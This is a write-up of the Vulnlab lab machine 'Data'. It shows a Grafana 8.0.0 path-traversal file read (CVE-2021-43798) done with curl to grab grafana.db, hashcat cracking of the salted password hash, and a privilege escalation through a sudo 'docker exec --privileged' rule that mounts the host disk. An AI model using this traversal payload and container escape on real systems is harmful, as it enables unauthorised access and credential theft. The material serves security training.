Vulnlab: Data

Posted on Sep 7, 2023

Overview

  1. Identify the vulnerable version of grafana
  2. Abuse the arbitrary file read to retrieve the database file
  3. Get password hash and salt to crack with hashcat to get user.txt
  4. sudo -l command shows that docker exec * can be run by boris
  5. Use it to run privileged commands on the running container
  6. Mount the host disk inside the container to get root flag

Nmap

--- vulnlabs/easy-data » nmap -sV 10.10.125.165
Starting Nmap 7.94 ( https://nmap.org ) at 2023-09-07 14:50 EDT
Nmap scan report for 10.10.125.165
Host is up (0.17s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
3000/tcp open  ppp?
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port3000-TCP:V=7.94%I=7%D=9/7%Time=64FA1BA1%P=x86_64-pc-linux-gnu%r(Gen
<==================== snip =====================>
SF:r\nContent-Length:\x2029\r\n\r\n<a\x20href=\"/login\">Found</a>\.\n\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 112.26 seconds
  • -sV: Enumerate versions

Identifying Vulnerable Grafana

Accessing port 3000 we see a grafana login page. The version is displayed on the bottom, 8.0.0

Alt text

Searching for exploits for this particular version, we find CVE-2021-43798, which let’s us read arbitrary files on the server. According to the article, we can exploit this by going to an installed plugin endpoint and traverse from there:

Alt text

This github repository goes deeper on the explanation and includes some payloads we can use to further enumerate the machine.

Let’s fetch the database files which contains some passwords hashes:

--- vulnlabs/easy-data » curl --path-as-is -s http://10.10.125.165:3000/public/plugins/alertlist/../../../../../../../../var/lib/grafana/grafana.db -O grafana.db                   130--- vulnlabs/easy-data » ls -la grafana.db                                                                                                                                            6-rw-r--r-- 1 kali kali 598016 Sep  7 15:40 grafana.db

Opening it with sqlitebrowser and looking at the user table:

Alt text

Cracking Custom Hashes

We get the password hash and its salt. Let’s format it with a quick python script:

import base64

password = 'dc6becccbb57d34daf4a4e391d2015d3350c60df3608e9e99b5291e47f3e5cd39d156be220745be3cbe49353e35f53b51da8'
salt = b'LCBhdtJWjl'

hash64 = base64.b64encode(bytes.fromhex(password)).decode('utf-8')
salt64 = base64.b64encode(salt).decode('utf-8')

result = f"sha256:10000:{salt64}:{hash64}"
print(result)

More about this formatting can be found here

--- vulnlabs/easy-data » hashcat -m 10900 hash.txt /usr/share/wordlists/rockyou.txt --show
sha256:10000:TENCaGR0SldqbA==:3GvszLtX002vSk45HSAV0zUMYN82COnpm1KR5H8+XNOdFWviIHRb48vkk1PjX1O1Hag=:beautiful1

(If you are running for the first time remove the --show flag)

We get the credential:

boris:beautiful1

let’s ssh in and get our user.txt

--- vulnlabs/easy-data » ssh boris@10.10.125.165
boris@10.10.125.165's password: #beautiful1
Welcome to Ubuntu 18.04.6 LTS (GNU/Linux 5.4.0-1060-aws x86_64)
 <snip>
boris@ip-10-10-10-11:~$ cat user.txt 
VL{fbc4<snip>654}

Abusing Docker to Elevate Privileges

Initial enumeration shows that the grafana app was running from a docker container:

...
root       930     1  0 18:44 ?        00:00:00 /usr/bin/python3 /usr/share/unattended-upgrades/unattended-upgrade-shutdown --wait-for-signal
root      1301   890  0 18:44 ?        00:00:02 containerd --config /run/snap.docker/containerd/containerd.toml --log-level error
root      1384     2  0 18:44 ?        00:00:00 bpfilter_umh
root      1580   890  0 18:44 ?        00:00:00 /snap/docker/1125/bin/docker-proxy -proto tcp -host-ip 0.0.0.0 -host-port 3000 -container-ip 172.17.0.2 -container-port 3000
root      1585   890  0 18:44 ?        00:00:00 /snap/docker/1125/bin/docker-proxy -proto tcp -host-ip :: -host-port 3000 -container-ip 172.17.0.2 -container-port 3000
root      1603     1  0 18:44 ?        00:00:00 /snap/docker/1125/bin/containerd-shim-runc-v2 -namespace moby -id e6ff5b1cbc85cdb2157879161e42a08c1062da655f5a6b7e24488342339d4b81 -addres
472       1631  1603  0 18:44 ?        00:00:02 grafana-server --homepath=/usr/share/grafana --config=/etc/grafana/grafana.ini --packaging=docker cfg:default.log.mode=console cfg:default
root      1643     1  0 18:44 ?        00:00:00 /usr/sbin/sshd -D

sudo -l gives us something important too:

boris@ip-10-10-10-11:~$ sudo -l
Matching Defaults entries for boris on ip-10-10-10-11:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User boris may run the following commands on ip-10-10-10-11:
    (root) NOPASSWD: /snap/bin/docker exec *

We are able to run /snap/bin/docker exec * as sudo, let’s see what this exec command can do:

boris@ip-10-10-10-11:~$ docker exec -h
Flag shorthand -h has been deprecated, please use --help

Usage:  docker exec [OPTIONS] CONTAINER COMMAND [ARG...]

Run a command in a running container

Options:
  -d, --detach               Detached mode: run command in the background
      --detach-keys string   Override the key sequence for detaching a container
  -e, --env list             Set environment variables
      --env-file list        Read in a file of environment variables
  -i, --interactive          Keep STDIN open even if not attached
      --privileged           Give extended privileges to the command
  -t, --tty                  Allocate a pseudo-TTY
  -u, --user string          Username or UID (format: <name|uid>[:<group|gid>])
  -w, --workdir string       Working directory inside the container
  • -u: allows us to run a root shell inside the container
  • --privileged: allows us to run commands with extended privileges (which we will abuse)

With those extended privileges we can mount the host disk inside our container, giving access to the root.txt file

let’s run:

boris@ip-10-10-10-11:~$ sudo /snap/bin/docker exec --privileged -u 0 -it grafana sh
/usr/share/grafana # mkdir -p /mnt/danp (Create a folder where the partition will be mounted)
/usr/share/grafana # fdisk -l (List all partitions)
Disk /dev/xvda: 8192 MB, 8589934592 bytes, 16777216 sectors
6367 cylinders, 85 heads, 31 sectors/track
Units: sectors of 1 * 512 = 512 bytes

Device   Boot StartCHS    EndCHS        StartLBA     EndLBA    Sectors  Size Id Type
/dev/xvda1 *  0,32,33     20,84,31          2048   16777182   16775135 8190M 83 Linux
/usr/share/grafana # mount /dev/xvda1 /mnt/danp (Mount the /dev/xvda1 inside the container)
/usr/share/grafana # cd /mnt/danp/root
/mnt/danp/root # cat root.txt
VL{37c9<snip>bc16}

That’s all folks 🥕 ~